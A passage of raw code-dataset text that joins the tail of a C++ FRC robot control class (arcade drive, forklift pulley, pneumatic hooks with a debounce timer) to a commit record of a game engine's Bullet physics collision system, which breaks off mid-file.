########################::::::::::::::::::::::::::::::+#######+:::::::::::::;##########'::::::::::::::##:::::::::::#######'::::::::::::::::::` ##  #######\n            ######  ``       +########################'::::::::::::::::;##::::::::'++++';:::::::::::::::::;######;::::::::::::::::++::::::::::::'###+:::::::::::::::::::: ##. +######:\n            `#####.  :.       `############################+';;;;''+#####::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: .##  #######\n             ######    #         '#######################################::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::. ##  #######\n              #####     ``          ,###################################::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: '#; ;######+\n              :#####                     `:'###########################+::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::  ##  #######\n               #####`                                    +#############::##########################################################################################::, ##` #######.\n                #####                                    #############::;###################;;;##;;;###':#######'######;;;+#+;;;###':;####;;;#####################+:: :#+ ,#######\n                `#####                                  `############;::#####################;###:####+##:##:##+:########;#####+##:###;##+########################::` ##  #######\n                 ,#####                                ;############'::######################;###:####'##;###'#;:########'####'##'#####:#+#######################;:: ##. +######:\n                  :#####                           ,;',,###########+::#######################;##+:+###'##;###+:#:#######;:####:##:#####+#+;:+####################:: .##  #######\n                   :#####,                            `###########'::########################;###:####'##;######:#########:###'##:#####+####+###################::. ##  #######\n                    ,######.                         .###########'::#########################;###:####::::######:#########'##+###:#####:#####'#################':: +#; ;######'\n                     `#######'`                    ,############;::##########################;###:####'##;######:######+##:##:####'####'#####+#################:: `##  #######\n                       ##########+;.`     ``.:;+###############:::###########################:###:::##'##;######:######+;:###'#####:';'###:;;#################::, ##` #######.\n                        :####################################':::############################################################################################+:: :#+ ,#######\n                          +#################################::::;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::  ##  #######\n                            +#############################::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ##. #######,\n                              '########################+:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: .## `#######\n                                `'##################+::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::` ##  #######\n                                    `:+#########':::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: +#: '######'\n*\/\nclass Robot: public SampleRobot\n{\n\tRobotDrive myRobot; \/\/ robot drive system\n\tJoystick controller;\n\tTalon forkLift;\n\tSolenoid leftHook;\n\tSolenoid rightHook;\n\tTimer pneumaticTimer;\n\tunsigned int secondsForPulley;\n\tdouble secondsForPneumatic;\n\npublic:\n\tRobot() :\n\t\t\tmyRobot(0, 1),\t\/\/ these must be initialized in the same order\n\t\t\tcontroller(0),\n\t\t\tforkLift(2),\n\t\t\tleftHook(0),\n\t\t\trightHook(1)\/\/ as they are declared above.\n\t{\n\t\tmyRobot.SetExpiration(0.1);\n\t\tsecondsForPulley=5;\n\t\tsecondsForPneumatic=0.5;\n\t}\n\n\t\/**\n\t * Drive left & right motors for 2 seconds then stop\n\t *\/\n\tvoid Autonomous()\n\t{\n\t\tmyRobot.SetSafetyEnabled(false);\n\t\tmyRobot.Drive(-0.5, 0.0); \t\/\/ drive forwards half speed\n\t\tWait(2.0); \t\t\t\t\/\/    for 2 seconds\n\t\tmyRobot.Drive(0.0, 0.0); \t\/\/ stop robot\n\t}\n\n\t\/**\n\t * Runs the motors with arcade steering.\n\t *\/\n\tvoid forwardsPulley(){\n\t\tforkLift.Set(0.75);\n\t}\n\tvoid backwardsPulley(){\n\t\tforkLift.Set(-0.5);\n\t}\n\tvoid stopPulley(){\n\t\tforkLift.Set(0);\n\t}\n\tstring CanHooksBeMoved(){\n\t\tif(pneumaticTimer.Get()>0){\n\t\t\treturn \"No\";\n\t\t}else{\n\t\t\treturn \"Yes\";\n\t\t}\n\t}\n\tvoid OperatorControl()\n\t{\n\t\tmyRobot.SetSafetyEnabled(true);\n\t\twhile (IsOperatorControl() && IsEnabled())\n\t\t{\n\t\t\tmyRobot.ArcadeDrive(controller,false); \/\/ drive with arcade style (use left stick of controller) without squared inputs\n\t\t\t\/*when you move the right stick of controller upwards, the pulley will move upwards\n\t\t\t *the motor of the pulley will be at 75% forwards\n\t\t\t *the need for it to be above 0.1 is to accommodate the drift of the right stick of the controller (joystick value is never 0)\n\t\t\t *\/\n\t\t\tif(controller.GetRawAxis(3)>0.1){\n\t\t\t\tforwardsPulley();\n\t\t\t}\n\t\t\t\/*\n\t\t\t * when you move right stick of controller downwards, the pulley will move downwards\n\t\t\t * the motor of the pulley will be at 50% reverse\n\t\t\t *\/\n\t\t\telse if(controller.GetRawAxis(3)<-0.1){\n\t\t\t\tbackwardsPulley();\n\t\t\t}\n\t\t\t\/\/when right stick of controller is left alone, motor will not exert force on pulley; thus, causing the pulley to drift downwards.\n\t\t\telse{\n\t\t\t\tstopPulley();\n\t\t\t}\n\t\t\t\/\/provide status on whether or not hooks can be moved\n\t\t\tSmartDashboard::PutString(\"Can I press right trigger to move hooks\",CanHooksBeMoved());\n\t\t\t\/\/if button 8 on the controller is pressed (the right trigger on Maninder's red controller) and the timer on the pneumatic is not active\n\t\t\t\/\/this is meant to prevent the hooks from bouncing by ensuring that the button input is not taken at all times\n\t\t\tif(controller.GetRawButton(8)&&!(pneumaticTimer.Get()>0)){\n\t\t\t\tif(leftHook.Get()){\n\t\t\t\t\tleftHook.Set(false);\n\t\t\t\t\trightHook.Set(false);\t\/\/moves left hook and right hook back to default position\n\t\t\t\t}else{\n\t\t\t\t\tleftHook.Set(true);\t\t\/\/moves left hook and right hook forwards\n\t\t\t\t\trightHook.Set(true);\n\t\t\t\t}\n\t\t\t\tpneumaticTimer.Start();\n\t\t\t}else if(pneumaticTimer.Get()>secondsForPneumatic){\n\t\t\t\t\/\/stop and reset timer to enable buttons to operate\n\t\t\t\tpneumaticTimer.Stop();\n\t\t\t\tpneumaticTimer.Reset();\n\t\t\t}\n\t\t\tWait(0.005);\t\t\t\/\/ wait for motor update time\n\t\t}\n\t}\n\n\t\/**\n\t * Runs during test mode\n\t *\/\n\tvoid Test()\n\t{\n\t}\n};\n\nSTART_ROBOT_CLASS(Robot);\n<|endoftext|>"}
{"text":"<commit_before>\/\/ This is a personal academic project. Dear PVS-Studio, please check it.\n\/\/ PVS-Studio Static Code Analyzer for C, C++ and C#: http:\/\/www.viva64.com\n\/**\n * Interface to manage the Bullet3 physics library.\n *\n * License: Mozilla Public License Version 2.0 (https:\/\/www.mozilla.org\/en-US\/MPL\/2.0\/ OR See accompanying file LICENSE)\n * Authors:\n *  - Dan Printzell\n *\/\n#include <hydra\/system\/bulletphysicssystem.hpp>\n\n#include <memory>\n\n#include <hydra\/component\/rigidbodycomponent.hpp>\n#include <hydra\/component\/ghostobjectcomponent.hpp>\n#include <hydra\/component\/particlecomponent.hpp>\n#include <hydra\/component\/bulletcomponent.hpp>\n#include <hydra\/component\/lifecomponent.hpp>\n#include <hydra\/component\/playercomponent.hpp>\n#include <hydra\/component\/pickupcomponent.hpp>\n#include <hydra\/component\/perkcomponent.hpp>\n#include <hydra\/component\/textcomponent.hpp>\n#include <hydra\/component\/ghostobjectcomponent.hpp>\n#include <btBulletDynamicsCommon.h>\n#include <BulletCollision\/CollisionDispatch\/btGhostObject.h>\n\ninline static btQuaternion cast(const glm::quat& r) { return btQuaternion{r.x, r.y, r.z, r.w}; }\ninline static btVector3 cast(const glm::vec3& v) { return btVector3{v.x, v.y, v.z}; }\n\ninline static glm::quat cast(const btQuaternion& r) { return glm::quat(r.w(), r.x(), r.y(), r.z()); }\ninline static glm::vec3 cast(const btVector3& v) { return glm::vec3(v.x(), v.y(), v.z()); }\n\nusing namespace Hydra::System;\nusing namespace Hydra::Component;\n\nstruct BulletPhysicsSystem::Data {\n\tstd::unique_ptr<btDefaultCollisionConfiguration> config;\n\tstd::unique_ptr<btCollisionDispatcher> dispatcher;\n\tstd::unique_ptr<btBroadphaseInterface> broadphase;\n\tstd::unique_ptr<btSequentialImpulseConstraintSolver> solver;\n\tstd::unique_ptr<btDiscreteDynamicsWorld> dynamicsWorld;\n};\n\nBulletPhysicsSystem::BulletPhysicsSystem() {\n\t_data = new Data;\n\t_data->config = std::make_unique<btDefaultCollisionConfiguration>();\n\t_data->dispatcher = std::make_unique<btCollisionDispatcher>(_data->config.get());\n\t_data->broadphase = std::make_unique<btDbvtBroadphase>();\n\t_data->solver = std::make_unique<btSequentialImpulseConstraintSolver>();\n\t_data->dynamicsWorld = std::make_unique<btDiscreteDynamicsWorld>(_data->dispatcher.get(), _data->broadphase.get(), _data->solver.get(), _data->config.get());\n\t_data->dynamicsWorld->setGravity(btVector3(0, -10, 0));\n}\n\nBulletPhysicsSystem::~BulletPhysicsSystem() { delete _data; }\n\nvoid BulletPhysicsSystem::enable(RigidBodyComponent* component) {\n\tcomponent->_handler = this;\n\t\/\/ Make so addRigidbody takes in collision filter group and what that group collides with.\n\tbtRigidBody* rigidBody = static_cast<btRigidBody*>(component->getRigidBody());\n\tswitch (rigidBody->getUserIndex2())\n\t{\n\tcase CollisionTypes::COLL_PLAYER:\n\t\t_data->dynamicsWorld->addRigidBody(rigidBody, COLL_PLAYER, CollisionCondition::playerCollidesWith);\n\t\tbreak;\n\tcase CollisionTypes::COLL_ENEMY:\n\t\t_data->dynamicsWorld->addRigidBody(rigidBody, COLL_ENEMY, CollisionCondition::enemyCollidesWith);\n\t\tbreak;\n\tcase CollisionTypes::COLL_WALL:\n\t\t_data->dynamicsWorld->addRigidBody(rigidBody, COLL_WALL, CollisionCondition::wallCollidesWith);\n\t\tbreak;\n\tcase CollisionTypes::COLL_PLAYER_PROJECTILE:\n\t\t_data->dynamicsWorld->addRigidBody(rigidBody, COLL_PLAYER_PROJECTILE, CollisionCondition::playerProjCollidesWith);\n\t\tbreak;\n\tcase CollisionTypes::COLL_ENEMY_PROJECTILE:\n\t\t_data->dynamicsWorld->addRigidBody(rigidBody, COLL_ENEMY_PROJECTILE, CollisionCondition::enemyProjCollidesWith);\n\t\tbreak;\n\tcase CollisionTypes::COLL_MISC_OBJECT:\n\t\t_data->dynamicsWorld->addRigidBody(rigidBody, COLL_MISC_OBJECT, CollisionCondition::miscObjectCollidesWith);\n\t\tbreak;\n\tcase CollisionTypes::COLL_PICKUP_OBJECT:\n\t\t_data->dynamicsWorld->addRigidBody(rigidBody, COLL_PICKUP_OBJECT, CollisionCondition::pickupObjectCollidesWith);\n\t\tbreak;\n\tdefault:\n\t\t_data->dynamicsWorld->addRigidBody(rigidBody, COLL_NOTHING, COLL_NOTHING);\n\t\tbreak;\n\t}\n}\n\nvoid BulletPhysicsSystem::disable(RigidBodyComponent* component) {\n\t_data->dynamicsWorld->removeRigidBody(static_cast<btRigidBody*>(component->getRigidBody()));\n\tcomponent->_handler = nullptr;\n}\n\nvoid Hydra::System::BulletPhysicsSystem::enable(GhostObjectComponent * component){\n\tcomponent->_handler = this;\n\n\tswitch (component->ghostObject->getUserIndex2())\n\t{\n\tcase CollisionTypes::COLL_PLAYER:\n\t\t_data->dynamicsWorld->addCollisionObject(component->ghostObject, COLL_PLAYER, CollisionCondition::playerCollidesWith);\n\t\tbreak;\n\tcase CollisionTypes::COLL_ENEMY:\n\t\t_data->dynamicsWorld->addCollisionObject(component->ghostObject, COLL_ENEMY, CollisionCondition::enemyCollidesWith);\n\t\tbreak;\n\tcase CollisionTypes::COLL_WALL:\n\t\t_data->dynamicsWorld->addCollisionObject(component->ghostObject, COLL_WALL, CollisionCondition::wallCollidesWith);\n\t\tbreak;\n\tcase CollisionTypes::COLL_PLAYER_PROJECTILE:\n\t\t_data->dynamicsWorld->addCollisionObject(component->ghostObject, COLL_PLAYER_PROJECTILE, CollisionCondition::playerProjCollidesWith);\n\t\tbreak;\n\tcase CollisionTypes::COLL_ENEMY_PROJECTILE:\n\t\t_data->dynamicsWorld->addCollisionObject(component->ghostObject, COLL_ENEMY_PROJECTILE, CollisionCondition::enemyProjCollidesWith);\n\t\tbreak;\n\tcase CollisionTypes::COLL_MISC_OBJECT:\n\t\t_data->dynamicsWorld->addCollisionObject(component->ghostObject, COLL_MISC_OBJECT, CollisionCondition::miscObjectCollidesWith);\n\t\tbreak;\n\tcase CollisionTypes::COLL_PICKUP_OBJECT:\n\t\t_data->dynamicsWorld->addCollisionObject(component->ghostObject, COLL_PICKUP_OBJECT, CollisionCondition::pickupObjectCollidesWith);\n\t\tbreak;\n\tdefault:\n\t\t_data->dynamicsWorld->addCollisionObject(component->ghostObject, COLL_NOTHING, COLL_NOTHING);\n\t\tbreak;\n\t}\n}\n\nvoid Hydra::System::BulletPhysicsSystem::disable(GhostObjectComponent * component){\n\t_data->dynamicsWorld->removeCollisionObject(component->ghostObject);\n\tcomponent->_handler = nullptr;\n}\n\n\n\nvoid BulletPhysicsSystem::tick(float delta) {\n\t_data->dynamicsWorld->stepSimulation(delta, 3);\n\t\/\/ Gets all collisions happening between all rigidbody entities.\n\t\/\/_data->dynamicsWorld->stepSimulation(delta, 3, btScalar(1.0) \/ btScalar(180.));\n\tint numManifolds = _data->dynamicsWorld->getDispatcher()->getNumManifolds();\n\tfor (int i = 0; i < numManifolds; i++) {\n\t\tbtPersistentManifold* contactManifold = _data->dynamicsWorld->getDispatcher()->getManifoldByIndexInternal(i);\n\t\tconst btCollisionObject* obA = contactManifold->getBody0();\n\t\tconst btCollisionObject* obB = contactManifold->getBody1();\n\t\tEntity* eA = Hydra::World::World::getEntity(obA->getUserIndex()).get();\n\t\tEntity* eB = Hydra::World::World::getEntity(obB->getUserIndex()).get();\n\n\t\tif (!eA || !eB)\n\t\t\tcontinue;\n\n\t\tBulletComponent* bulletComponent = nullptr;\n\t\tLifeComponent* lifeComponent = nullptr;\n\t\tPlayerComponent* playerComponent = nullptr;\n\t\tPickUpComponent* pickupComponent = nullptr;\n\t\tPerkComponent* perkComponent = nullptr;\n\n\t\tif ((bulletComponent = eA->getComponent<BulletComponent>().get()))\n\t\t\tlifeComponent = eB->getComponent<LifeComponent>().get();\n\t\telse if ((bulletComponent = eB->getComponent<BulletComponent>().get()))\n\t\t\tlifeComponent = eA->getComponent<LifeComponent>().get();\n\n\t\tplayerComponent = eA->getComponent<PlayerComponent>().get();\n\t\tif (!playerComponent)\n\t\t\tplayerComponent = eB->getComponent<PlayerComponent>().get();\n\n\t\tif ((pickupComponent = eA->getComponent<PickUpComponent>().get()))\n\t\t\tperkComponent = eB->getComponent<PerkComponent>().get();\n\t\telse if ((pickupComponent = eB->getComponent<PickUpComponent>().get()))\n\t\t\tperkComponent = eA->getComponent<PerkComponent>().get();\n\n\t\tif (pickupComponent && perkComponent) {\n\t\t\t_addPickUp(pickupComponent, perkComponent);\n\t\t\t_spawnDamageText(Hydra::World::World::getEntity(playerComponent->entityID)->getComponent<Hydra::Component::TransformComponent>()->position, \"eyyy\\n\");\n\t\t}\n\n\t\t\/\/ Gets the contact points\n\t\tint numContacts = contactManifold->getNumContacts();\n\t\tfor (int j = 0; j < numContacts; j++) {\n\t\t\tbtManifoldPoint& pt = contactManifold->getContactPoint(j);\n\t\t\tbtVector3 collPosB = pt.getPositionWorldOnB();\n\t\t\tbtVector3 normalOnB = pt.m_normalWorldOnB;\n\n\t\t\tif (playerComponent && normalOnB.y() > 0.7){\n\t\t\t\tplayerComponent->onGround = true;\n\t\t\t}\n\n\t\t\tif (lifeComponent) {\n\t\t\t\tlifeComponent->applyDamage(bulletComponent->damage);\n\n\t\t\t\t_spawnDamageText(cast(collPosB), std::to_string(bulletComponent->damage));\n\t\t\t}\n\n\t\t\t\/\/ Set the bullet entity to dead.\n\t\t\tif (bulletComponent) {\n\t\t\t\tWorld::World::World::getEntity(bulletComponent->entityID)->dead = true;\n\t\t\t\t_spawnParticleEmitterAt(cast(collPosB), cast(normalOnB));\n\t\t\t}\n\n\t\t\t\/\/ Breaks because just wanna check the first collision.\n\t\t\tbreak;\n\t\t}\n\t}\n\n\tentities.clear();\n}\n\nvoid BulletPhysicsSystem::_spawnParticleEmitterAt(const glm::vec3& pos, const glm::vec3& normal) {\n\tauto pE = Hydra::World::World::newEntity(\"Collision Particle Spawner\", Hydra::World::World::rootID);\n\n\tpE->addComponent<MeshComponent>()->loadMesh(\"PARTICLEQUAD\");\n\n\tauto pETC = pE->addComponent<TransformComponent>();\n\tpETC->position = pos;\n\n\tauto pEPC = pE->addComponent<Hydra::Component::ParticleComponent>();\n\tpEPC->delay = 1.0f \/ 2.0f;\n\tpEPC->accumulator = 2 * 5.0f;\n\tpEPC->tempVelocity = glm::vec3(6.0f, 6.0f, 6.0f);\n\tpEPC->behaviour = Hydra::Component::ParticleComponent::EmitterBehaviour::Explosion;\n\tpEPC->texture = Hydra::Component::ParticleComponent::ParticleTexture::Blood;\n\tpEPC->optionalNormal = normal;\n\n\tauto pELC = pE->addComponent<LifeComponent>();\n\tpELC->maxHP = 0.9f;\n\tpELC->health = 0.9f;\n}\n\nvoid BulletPhysicsSystem::_spawnDamageText(const glm::vec3& pos, const std::string& text) {\n\tauto textEntity = world::newEntity(\"Damage\", world::root());\n\tauto transC = textEntity->addComponent<TransformComponent>();\n\ttransC->setPosition(pos);\n\ttransC->setScale(glm::vec3(10));\n\ttextEntity->addComponent<MeshComponent>()->loadMesh(\"TEXTQUAD\");\n\tauto lifeC = textEntity->addComponent<LifeComponent>();\n\tlifeC->health = lifeC->maxHP = 2;\n\tauto textC = textEntity->addComponent<TextComponent>();\n\t\/\/char buff[64];\n\t\/\/snprintf(buff, sizeof(buff), \"%.0f\\x01\\x02\", text);\n\ttextC->setText(text.substr(0, 1));\n\ttextC->isStatic = false;\n}\n\n\nvoid Hydra::System::BulletPhysicsSystem::_addPickUp(PickUpComponent * pickupComponent, PerkComponent * perkComponent)\n{\n\tswitch (pickupComponent->pickUpType)\n\t{\n\tcase PickUpComponent::PICKUP_RANDOMPERK: {\n\t\tstd::vector<int> perksNotFound;\n\t\t\n\t\tfor (size_t i = 0; i < perkComponent->AMOUNTOFPERKS; i++){\n\t\t\tbool perkFound = false;\n\t\t\tfor (size_t j = 0; j < perkComponent->activePerks.size(); j++){\n\t\t\t\tif (PerkComponent::Perk(i) == perkComponent->activePerks[j]){\n\t\t\t\t\tperkFound = true;\n\t\t\t\t\tj = perkComponent->activePerks.size();\n\t\t\t\t}\n\t\t\t}\n\t\t\tfor (size_t j = 0; j < perkComponent->newPerks.size(); j++){\n\t\t\t\tif (PerkComponent::Perk(i) == perkComponent->newPerks[j]) {\n\t\t\t\t\tperkFound = true;\n\t\t\t\t\tj = perkComponent->newPerks.size();\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (!perkFound)\n\t\t\t\tperksNotFound.push_back(i);\n\t\t}\n\n\t\tif (!perksNotFound.empty()){\n\t\t\tint newPerk = rand() % (perksNotFound.size());\n\t\t\tperkComponent->newPerks.push_back(PerkComponent::Perk(perksNotFound[newPerk]));\n\t\t}\n\t\t\n\t\tWorld::World::World::getEntity(pickupComponent->entityID)->dead = true;\n\t}\n\t\tbreak;\n\tcase PickUpComponent::PICKUP_HEALTH: {\n\n\t}\n\t\tbreak;\n\tcase PickUpComponent::PICKUP_AMMO: {\n\n\t}\n\t\tbreak;\n\tdefault:\n\t\tbreak;\n\t}\n}\n\nvoid BulletPhysicsSystem::registerUI() {}\n<commit_msg>substr fix<commit_after>\/\/ This is a personal academic project. Dear PVS-Studio, please check it.\n\/\/ PVS-Studio Static Code Analyzer for C, C++ and C#: http:\/\/www.viva64.com\n\/**\n * Interface to manage the Bullet3 physics library.\n *\n * License: Mozilla Public License Version 2.0 (https:\/\/www.mozilla.org\/en-US\/MPL\/2.0\/ OR See accompanying file LICENSE)\n * Authors:\n *  - Dan Printzell\n *\/\n#include <hydra\/system\/bulletphysicssystem.hpp>\n\n#include <memory>\n\n#include <hydra\/component\/rigidbodycomponent.hpp>\n#include <hydra\/component\/ghostobjectcomponent.hpp>\n#include <hydra\/component\/particlecomponent.hpp>\n#include <hydra\/component\/bulletcomponent.hpp>\n#include <hydra\/component\/lifecomponent.hpp>\n#include <hydra\/component\/playercomponent.hpp>\n#include <hydra\/component\/pickupcomponent.hpp>\n#include <hydra\/component\/perkcomponent.hpp>\n#include <hydra\/component\/textcomponent.hpp>\n#include <hydra\/component\/ghostobjectcomponent.hpp>\n#include <btBulletDynamicsCommon.h>\n#include <BulletCollision\/CollisionDispatch\/btGhostObject.h>\n\ninline static btQuaternion cast(const glm::quat& r) { return btQuaternion{r.x, r.y, r.z, r.w}; }\ninline static btVector3 cast(const glm::vec3& v) { return btVector3{v.x, v.y, v.z}; }\n\ninline static glm::quat cast(const btQuaternion& r) { return glm::quat(r.w(), r.x(), r.y(), r.z()); }\ninline static glm::vec3 cast(const btVector3& v) { return glm::vec3(v.x(), v.y(), v.z()); }\n\nusing namespace Hydra::System;\nusing namespace Hydra::Component;\n\nstruct BulletPhysicsSystem::Data {\n\tstd::unique_ptr<btDefaultCollisionConfiguration> config;\n\tstd::unique_ptr<btCollisionDispatcher> dispatcher;\n\tstd::unique_ptr<btBroadphaseInterface> broadphase;\n\tstd::unique_ptr<btSequentialImpulseConstraintSolver> solver;\n\tstd::unique_ptr<btDiscreteDynamicsWorld> dynamicsWorld;\n};\n\nBulletPhysicsSystem::BulletPhysicsSystem() {\n\t_data = new Data;\n\t_data->config = std::make_unique<btDefaultCollisionConfiguration>();\n\t_data->dispatcher = std::make_unique<btCollisionDispatcher>(_data->config.get());\n\t_data->broadphase = std::make_unique<btDbvtBroadphase>();\n\t_data->solver = std::make_unique<btSequentialImpulseConstraintSolver>();\n\t_data->dynamicsWorld = std::make_unique<btDiscreteDynamicsWorld>(_data->dispatcher.get(), _data->broadphase.get(), _data->solver.get(), _data->config.get());\n\t_data->dynamicsWorld->setGravity(btVector3(0, -10, 0));\n}\n\nBulletPhysicsSystem::~BulletPhysicsSystem() { delete _data; }\n\nvoid BulletPhysicsSystem::enable(RigidBodyComponent* component) {\n\tcomponent->_handler = this;\n\t\/\/ Make so addRigidbody takes in collision filter group and what that group collides with.\n\tbtRigidBody* rigidBody = static_cast<btRigidBody*>(component->getRigidBody());\n\tswitch (rigidBody->getUserIndex2())\n\t{\n\tcase CollisionTypes::COLL_PLAYER:\n\t\t_data->dynamicsWorld->addRigidBody(rigidBody, COLL_PLAYER, CollisionCondition::playerCollidesWith);\n\t\tbreak;\n\tcase CollisionTypes::COLL_ENEMY:\n\t\t_data->dynamicsWorld->addRigidBody(rigidBody, COLL_ENEMY, CollisionCondition::enemyCollidesWith);\n\t\tbreak;\n\tcase CollisionTypes::COLL_WALL:\n\t\t_data->dynamicsWorld->addRigidBody(rigidBody, COLL_WALL, CollisionCondition::wallCollidesWith);\n\t\tbreak;\n\tcase CollisionTypes::COLL_PLAYER_PROJECTILE:\n\t\t_data->dynamicsWorld->addRigidBody(rigidBody, COLL_PLAYER_PROJECTILE, CollisionCondition::playerProjCollidesWith);\n\t\tbreak;\n\tcase CollisionTypes::COLL_ENEMY_PROJECTILE:\n\t\t_data->dynamicsWorld->addRigidBody(rigidBody, COLL_ENEMY_PROJECTILE, CollisionCondition::enemyProjCollidesWith);\n\t\tbreak;\n\tcase CollisionTypes::COLL_MISC_OBJECT:\n\t\t_data->dynamicsWorld->addRigidBody(rigidBody, COLL_MISC_OBJECT, CollisionCondition::miscObjectCollidesWith);\n\t\tbreak;\n\tcase CollisionTypes::COLL_PICKUP_OBJECT:\n\t\t_data->dynamicsWorld->addRigidBody(rigidBody, COLL_PICKUP_OBJECT, CollisionCondition::pickupObjectCollidesWith);\n\t\tbreak;\n\tdefault:\n\t\t_data->dynamicsWorld->addRigidBody(rigidBody, COLL_NOTHING, COLL_NOTHING);\n\t\tbreak;\n\t}\n}\n\nvoid BulletPhysicsSystem::disable(RigidBodyComponent* component) {\n\t_data->dynamicsWorld->removeRigidBody(static_cast<btRigidBody*>(component->getRigidBody()));\n\tcomponent->_handler = nullptr;\n}\n\nvoid Hydra::System::BulletPhysicsSystem::enable(GhostObjectComponent * component){\n\tcomponent->_handler = this;\n\n\tswitch (component->ghostObject->getUserIndex2())\n\t{\n\tcase CollisionTypes::COLL_PLAYER:\n\t\t_data->dynamicsWorld->addCollisionObject(component->ghostObject, COLL_PLAYER, CollisionCondition::playerCollidesWith);\n\t\tbreak;\n\tcase CollisionTypes::COLL_ENEMY:\n\t\t_data->dynamicsWorld->addCollisionObject(component->ghostObject, COLL_ENEMY, CollisionCondition::enemyCollidesWith);\n\t\tbreak;\n\tcase CollisionTypes::COLL_WALL:\n\t\t_data->dynamicsWorld->addCollisionObject(component->ghostObject, COLL_WALL, CollisionCondition::wallCollidesWith);\n\t\tbreak;\n\tcase CollisionTypes::COLL_PLAYER_PROJECTILE:\n\t\t_data->dynamicsWorld->addCollisionObject(component->ghostObject, COLL_PLAYER_PROJECTILE, CollisionCondition::playerProjCollidesWith);\n\t\tbreak;\n\tcase CollisionTypes::COLL_ENEMY_PROJECTILE:\n\t\t_data->dynamicsWorld->addCollisionObject(component->ghostObject, COLL_ENEMY_PROJECTILE, CollisionCondition::enemyProjCollidesWith);\n\t\tbreak;\n\tcase CollisionTypes::COLL_MISC_OBJECT:\n\t\t_data->dynamicsWorld->addCollisionObject(component->ghostObject, COLL_MISC_OBJECT, CollisionCondition::miscObjectCollidesWith);\n\t\tbreak;\n\tcase CollisionTypes::COLL_PICKUP_OBJECT:\n\t\t_data->dynamicsWorld->addCollisionObject(component->ghostObject, COLL_PICKUP_OBJECT, CollisionCondition::pickupObjectCollidesWith);\n\t\tbreak;\n\tdefault:\n\t\t_data->dynamicsWorld->addCollisionObject(component->ghostObject, COLL_NOTHING, COLL_NOTHING);\n\t\tbreak;\n\t}\n}\n\nvoid Hydra::System::BulletPhysicsSystem::disable(GhostObjectComponent * component){\n\t_data->dynamicsWorld->removeCollisionObject(component->ghostObject);\n\tcomponent->_handler = nullptr;\n}\n\n\n\nvoid BulletPhysicsSystem::tick(float delta) {\n\t_data->dynamicsWorld->stepSimulation(delta, 3);\n\t\/\/ Gets all collisions happening between all rigidbody entities.\n\t\/\/_data->dynamicsWorld->stepSimulation(delta, 3, btScalar(1.0) \/ btScalar(180.));\n\tint numManifolds = _data->dynamicsWorld->getDispatcher()->getNumManifolds();\n\tfor (int i = 0; i < numManifolds; i++) {\n\t\tbtPersistentManifold* contactManifold = _data->dynamicsWorld->getDispatcher()->getManifoldByIndexInternal(i);\n\t\tconst btCollisionObject* obA = contactManifold->getBody0();\n\t\tconst btCollisionObject* obB = contactManifold->getBody1();\n\t\tEntity* eA = Hydra::World::World::getEntity(obA->getUserIndex()).get();\n\t\tEntity* eB = Hydra::World::World::getEntity(obB->getUserIndex()).get();\n\n\t\tif (!eA || !eB)\n\t\t\tcontinue;\n\n\t\tBulletComponent* bulletComponent = nullptr;\n\t\tLifeComponent* lifeComponent = nullptr;\n\t\tPlayerComponent* playerComponent = nullptr;\n\t\tPickUpComponent* pickupComponent = nullptr;\n\t\tPerkComponent* perkComponent = nullptr;\n\n\t\tif ((bulletComponent = eA->getComponent<BulletComponent>().get()))\n\t\t\tlifeComponent = eB->getComponent<LifeComponent>().get();\n\t\telse if ((bulletComponent = eB->getComponent<BulletComponent>().get()))\n\t\t\tlifeComponent = eA->getComponent<LifeComponent>().get();\n\n\t\tplayerComponent = eA->getComponent<PlayerComponent>().get();\n\t\tif (!playerComponent)\n\t\t\tplayerComponent = eB->getComponent<PlayerComponent>().get();\n\n\t\tif ((pickupComponent = eA->getComponent<PickUpComponent>().get()))\n\t\t\tperkComponent = eB->getComponent<PerkComponent>().get();\n\t\telse if ((pickupComponent = eB->getComponent<PickUpComponent>().get()))\n\t\t\tperkComponent = eA->getComponent<PerkComponent>().get();\n\n\t\tif (pickupComponent && perkComponent) {\n\t\t\t_addPickUp(pickupComponent, perkComponent);\n\t\t\t_spawnDamageText(Hydra::World::World::getEntity(playerComponent->entityID)->getComponent<Hydra::Component::TransformComponent>()->position, \"eyyy\\n\");\n\t\t}\n\n\t\t\/\/ Gets the contact points\n\t\tint numContacts = contactManifold->getNumContacts();\n\t\tfor (int j = 0; j < numContacts; j++) {\n\t\t\tbtManifoldPoint& pt = contactManifold->getContactPoint(j);\n\t\t\tbtVector3 collPosB = pt.getPositionWorldOnB();\n\t\t\tbtVector3 normalOnB = pt.m_normalWorldOnB;\n\n\t\t\tif (playerComponent && normalOnB.y() > 0.7){\n\t\t\t\tplayerComponent->onGround = true;\n\t\t\t}\n\n\t\t\tif (lifeComponent) {\n\t\t\t\tlifeComponent->applyDamage(bulletComponent->damage);\n\n\t\t\t\t_spawnDamageText(cast(collPosB), std::to_string(bulletComponent->damage));\n\t\t\t}\n\n\t\t\t\/\/ Set the bullet entity to dead.\n\t\t\tif (bulletComponent) {\n\t\t\t\tWorld::World::World::getEntity(bulletComponent->entityID)->dead = true;\n\t\t\t\t_spawnParticleEmitterAt(cast(collPosB), cast(normalOnB));\n\t\t\t}\n\n\t\t\t\/\/ Breaks because just wanna check the first collision.\n\t\t\tbreak;\n\t\t}\n\t}\n\n\tentities.clear();\n}\n\nvoid BulletPhysicsSystem::_spawnParticleEmitterAt(const glm::vec3& pos, const glm::vec3& normal) {\n\tauto pE = Hydra::World::World::newEntity(\"Collision Particle Spawner\", Hydra::World::World::rootID);\n\n\tpE->addComponent<MeshComponent>()->loadMesh(\"PARTICLEQUAD\");\n\n\tauto pETC = pE->addComponent<TransformComponent>();\n\tpETC->position = pos;\n\n\tauto pEPC = 